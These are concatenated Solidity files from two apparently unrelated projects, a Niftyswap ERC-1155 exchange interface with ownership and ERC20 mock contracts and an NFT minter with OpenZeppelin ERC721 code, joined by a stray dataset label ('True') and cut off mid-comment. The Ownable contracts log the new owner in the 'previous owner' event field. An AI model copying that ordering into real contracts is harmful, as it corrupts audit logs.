LiquidityRemovedEventObj[] details
);
event RoyaltyChanged(
address indexed royaltyRecipient,
uint256 royaltyFee
);
struct SellTokensObj {
address recipient; // Who receives the currency
uint256 minCurrency; // Total minimum number of currency expected for all tokens sold
address[] extraFeeRecipients; // Array of addresses that will receive extra fee
uint256[] extraFeeAmounts; // Array of amounts of currency that will be sent as extra fee
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
struct AddLiquidityObj {
uint256[] maxCurrency; // Maximum number of currency to deposit with tokens
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
struct RemoveLiquidityObj {
uint256[] minCurrency; // Minimum number of currency to withdraw
uint256[] minTokens; // Minimum number of tokens to withdraw
uint256 deadline; // Timestamp after which the tx isn't valid anymore
}
/***********************************|
| Purchasing Functions |
|__________________________________*/
/**
* @notice Convert currency tokens to Tokens _id and transfers Tokens to recipient.
* @dev User specifies MAXIMUM inputs (_maxCurrency) and EXACT outputs.
* @dev Assumes that all trades will be successful, or revert the whole tx
* @dev Exceeding currency tokens sent will be refunded to recipient
* @dev Sorting IDs is mandatory for efficient way of preventing duplicated IDs (which would lead to exploit)
* @param _tokenIds Array of Tokens ID that are bought
* @param _tokensBoughtAmounts Amount of Tokens id bought for each corresponding Token id in _tokenIds
* @param _maxCurrency Total maximum amount of currency tokens to spend for all Token ids
* @param _deadline Timestamp after which this transaction will be reverted
* @param _recipient The address that receives output Tokens and refund
* @param _extraFeeRecipients Array of addresses that will receive extra fee
* @param _extraFeeAmounts Array of amounts of currency that will be sent as extra fee
* @return currencySold How much currency was actually sold.
*/
function buyTokens(
uint256[] memory _tokenIds,
uint256[] memory _tokensBoughtAmounts,
uint256 _maxCurrency,
uint256 _deadline,
address _recipient,
address[] memory _extraFeeRecipients,
uint256[] memory _extraFeeAmounts
) external returns (uint256[] memory);
/***********************************|
| Royalties Functions |
|__________________________________*/
/**
* @notice Will send the royalties that _royaltyRecipient can claim, if any
* @dev Anyone can call this function such that payout could be distributed
* regularly instead of being claimed.
* @param _royaltyRecipient Address that is able to claim royalties
*/
function sendRoyalties(address _royaltyRecipient) external;
/***********************************|
| OnReceive Functions |
|__________________________________*/
/**
* @notice Handle which method is being called on Token transfer
* @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj)
* where bytes4 argument is the MethodObj object signature passed as defined
* in the `Signatures for onReceive control logic` section above
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Method signature and corresponding encoded arguments for method to call on *this* contract
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4);
/**
* @notice Handle which method is being called on transfer
* @dev `_data` must be encoded as follow: abi.encode(bytes4, MethodObj)
* where bytes4 argument is the MethodObj object signature passed as defined
* in the `Signatures for onReceive control logic` section above
* @param _from The address which previously owned the Token
* @param _ids An array containing ids of each Token being transferred
* @param _amounts An array containing amounts of each Token being transferred
* @param _data Method signature and corresponding encoded arguments for method to call on *this* contract
* @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")
*/
function onERC1155BatchReceived(address, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4);
/***********************************|
| Getter Functions |
|__________________________________*/
/**
* @dev Pricing function used for converting between currency token to Tokens.
* @param _assetBoughtAmount Amount of Tokens being bought.
* @param _assetSoldReserve Amount of currency tokens in exchange reserves.
* @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves.
* @return Amount of currency tokens to send to Niftyswap.
*/
function getBuyPrice(uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256);
/**
* @dev Pricing function used for converting Tokens to currency token (including royalty fee)
* @param _tokenId Id ot token being sold
* @param _assetBoughtAmount Amount of Tokens being bought.
* @param _assetSoldReserve Amount of currency tokens in exchange reserves.
* @param _assetBoughtReserve Amount of Tokens (output type) in exchange reserves.
* @return price Amount of currency tokens to send to Niftyswap.
*/
function getBuyPriceWithRoyalty(uint256 _tokenId, uint256 _assetBoughtAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256 price);
/**
* @dev Pricing function used for converting Tokens to currency token.
* @param _assetSoldAmount Amount of Tokens being sold.
* @param _assetSoldReserve Amount of Tokens in exchange reserves.
* @param _assetBoughtReserve Amount of currency tokens in exchange reserves.
* @return Amount of currency tokens to receive from Niftyswap.
*/
function getSellPrice(uint256 _assetSoldAmount,uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256);
/**
* @dev Pricing function used for converting Tokens to currency token (including royalty fee)
* @param _tokenId Id ot token being sold
* @param _assetSoldAmount Amount of Tokens being sold.
* @param _assetSoldReserve Amount of Tokens in exchange reserves.
* @param _assetBoughtReserve Amount of currency tokens in exchange reserves.
* @return price Amount of currency tokens to receive from Niftyswap.
*/
function getSellPriceWithRoyalty(uint256 _tokenId, uint256 _assetSoldAmount, uint256 _assetSoldReserve, uint256 _assetBoughtReserve) external view returns (uint256 price);
/**
* @notice Get amount of currency in reserve for each Token _id in _ids
* @param _ids Array of ID sto query currency reserve of
* @return amount of currency in reserve for each Token _id
*/
function getCurrencyReserves(uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @notice Return price for `currency => Token _id` trades with an exact token amount.
* @param _ids Array of ID of tokens bought.
* @param _tokensBought Amount of Tokens bought.
* @return Amount of currency needed to buy Tokens in _ids for amounts in _tokensBought
*/
function getPrice_currencyToToken(uint256[] calldata _ids, uint256[] calldata _tokensBought) external view returns (uint256[] memory);
/**
* @notice Return price for `Token _id => currency` trades with an exact token amount.
* @param _ids Array of IDs token sold.
* @param _tokensSold Array of amount of each Token sold.
* @return Amount of currency that can be bought for Tokens in _ids for amounts in _tokensSold
*/
function getPrice_tokenToCurrency(uint256[] calldata _ids, uint256[] calldata _tokensSold) external view returns (uint256[] memory);
/**
* @notice Get total supply of liquidity tokens
* @param _ids ID of the Tokens
* @return The total supply of each liquidity token id provided in _ids
*/
function getTotalSupply(uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @return Address of Token that is sold on this exchange.
*/
function getTokenAddress() external view returns (address);
/**
* @return LP fee per 1000 units
*/
function getLPFee() external view returns (uint256);
/**
* @return Address of the currency contract that is used as currency
*/
function getCurrencyInfo() external view returns (address);
/**
* @return Address of factory that created this exchange.
*/
function getFactoryAddress() external view returns (address);
/**
* @return Global royalty fee % if not supporting ERC-2981
*/
function getGlobalRoyaltyFee() external view returns (uint256);
/**
* @return Global royalty recipient if token not supporting ERC-2981
*/
function getGlobalRoyaltyRecipient() external view returns (address);
/**
* @return Get amount of currency in royalty an address can claim
* @param _royaltyRecipient Address to check the claimable royalties
*/
function getRoyalties(address _royaltyRecipient) external view returns (uint256);
function getRoyaltiesNumerator(address _royaltyRecipient) external view returns (uint256);
}
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "../interfaces/IOwnable.sol";
/**
* @title Ownable
* @dev The Ownable contract inherits the owner of a parent contract as its owner,
* and provides basic authorization control functions, this simplifies the
* implementation of "user permissions".
*/
contract DelegatedOwnable {
address internal ownableParent;
event ParentOwnerChanged(address indexed previousParent, address indexed newParent);
/**
* @dev The Ownable constructor sets the original `ownableParent` of the contract to the specied address
* @param _firstOwnableParent Address of the first ownable parent contract
*/
constructor (address _firstOwnableParent) {
try IOwnable(_firstOwnableParent).getOwner() {
// Do nothing if parent has ownable function
} catch {
revert("DO#1"); // PARENT IS NOT OWNABLE
}
ownableParent = _firstOwnableParent;
emit ParentOwnerChanged(address(0), _firstOwnableParent);
}
/**
* @dev Throws if called by any account other than the master owner.
*/
modifier onlyOwner() {
require(msg.sender == getOwner(), "DO#2"); // DelegatedOwnable#onlyOwner: SENDER_IS_NOT_OWNER
_;
}
/**
* @notice Will use the owner address of another parent contract
* @param _newParent Address of the new owner
*/
function changeOwnableParent(address _newParent) public onlyOwner {
require(_newParent != address(0), "D3"); // DelegatedOwnable#changeOwnableParent: INVALID_ADDRESS
ownableParent = _newParent;
emit ParentOwnerChanged(ownableParent, _newParent);
}
/**
* @notice Returns the address of the owner.
*/
function getOwner() public view returns (address) {
return IOwnable(ownableParent).getOwner();
}
}
pragma solidity ^0.7.4;
/**
Note: The ERC-165 identifier for this interface is 0x0e89341c.
*/
interface IERC1155Metadata {
/**
@notice A distinct Uniform Resource Identifier (URI) for a given token.
@dev URIs are defined in RFC 3986.
The URI MUST point to a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema".
@return URI string
*/
function uri(uint256 _id) external view returns (string memory);
}
pragma solidity ^0.7.4;
import "./IERC1155Metadata.sol";
interface IDelegatedERC1155Metadata {
function metadataProvider() external view returns (IERC1155Metadata);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
interface IOwnable {
/**
* @notice Transfers the ownership of the contract to new address
* @param _newOwner Address of the new owner
*/
function transferOwnership(address _newOwner) external;
/**
* @notice Returns the address of the owner.
*/
function getOwner() external view returns (address);
}
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the specied address
* @param _firstOwner Address of the first owner
*/
constructor (address _firstOwner) {
owner = _firstOwner;
emit OwnershipTransferred(address(0), _firstOwner);
}
/**
* @dev Throws if called by any account other than the master owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Ownable#onlyOwner: SENDER_IS_NOT_OWNER");
_;
}
/**
* @notice Transfers the ownership of the contract to new address
* @param _newOwner Address of the new owner
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "Ownable#transferOwnership: INVALID_ADDRESS");
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
/**
* @notice Returns the address of the owner.
*/
function getOwner() public view returns (address) {
return owner;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "../interfaces/IERC1155Metadata.sol";
import "./Ownable.sol";
contract ERC1155MetadataPrefix is IERC1155Metadata, Ownable {
string public uriPrefix;
event URIPrefixChanged(string _uriPrefix);
bool immutable includeAddress;
constructor(string memory _prefix, bool _includeAddress) Ownable(msg.sender) {
emit URIPrefixChanged(_prefix);
uriPrefix = _prefix;
includeAddress = _includeAddress;
}
function setUriPrefix(string calldata _uriPrefix) external onlyOwner {
emit URIPrefixChanged(_uriPrefix);
uriPrefix = _uriPrefix;
}
function uri(uint256 _id) external override view returns (string memory) {
string memory suffix = _uint256toString(_id);
if (includeAddress) {
suffix = string(abi.encodePacked(suffix, "@", _addressToString(msg.sender)));
}
return string(abi.encodePacked(uriPrefix, suffix));
}
function _addressToString(address account) public pure returns(string memory) {
return _bytesToString(abi.encodePacked(account));
}
function _bytesToString(bytes memory data) public pure returns(string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(2 + data.length * 2);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < data.length; i++) {
str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];
str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
}
return string(str);
}
function _uint256toString(uint256 _id) internal pure returns (string memory) {
bytes memory reversed = new bytes(78);
uint256 v = _id;
uint256 i = 0;
while (v != 0) {
uint256 remainder = v % 10;
v = v / 10;
reversed[i++] = byte(uint8(48 + remainder));
}
bytes memory s = new bytes(i);
for (uint256 j = 0; j < i; j++) {
s[j] = reversed[i - 1 - j];
}
return string(s);
}
}
pragma solidity 0.7.4;
import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol";
import "@0xsequence/erc-1155/contracts/utils/SafeMath.sol";
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public override view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when _allowed[msg.sender][spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Approve an address to spend another addresses' tokens.
* @param owner The address that owns the tokens.
* @param spender The address that will spend the tokens.
* @param value The number of tokens that can be spent.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Mock is ERC20 {
constructor() public { }
function mockMint(address _address, uint256 _amount) public {
_mint(_address, _amount);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "@0xsequence/erc20-meta-token/contracts/mocks/ERC20Mock.sol";
contract ERC20TokenMock is ERC20Mock {
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "@0xsequence/erc-1155/contracts/mocks/ERC1155MintBurnMock.sol";
contract ERC1155Mock is ERC1155MintBurnMock {
constructor() ERC1155MintBurnMock("TestERC1155", "") {}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "@0xsequence/erc20-meta-token/contracts/wrapper/MetaERC20Wrapper.sol";
contract ERC20WrapperMock is MetaERC20Wrapper {
}
|
True
|
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102
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "ERC721Enumerable.sol";
import "Ownable.sol";
contract Wizard is ERC721Enumerable, Ownable {
mapping(address => bool) public isMinter;
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function safeMint(address to, uint256 id) public {
require(isMinter[_msgSender()], "Caller is not minter.");
_safeMint(to, id);
}
function setMinter(address minter, bool status) public onlyOwner {
isMinter[minter] = status;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "ERC721.sol";
import "IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory tokens = new uint256[](tokenCount);
for (uint i = 0; i < tokenCount; i++)
tokens[i] = _ownedTokens[owner][i];
return tokens;
}
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
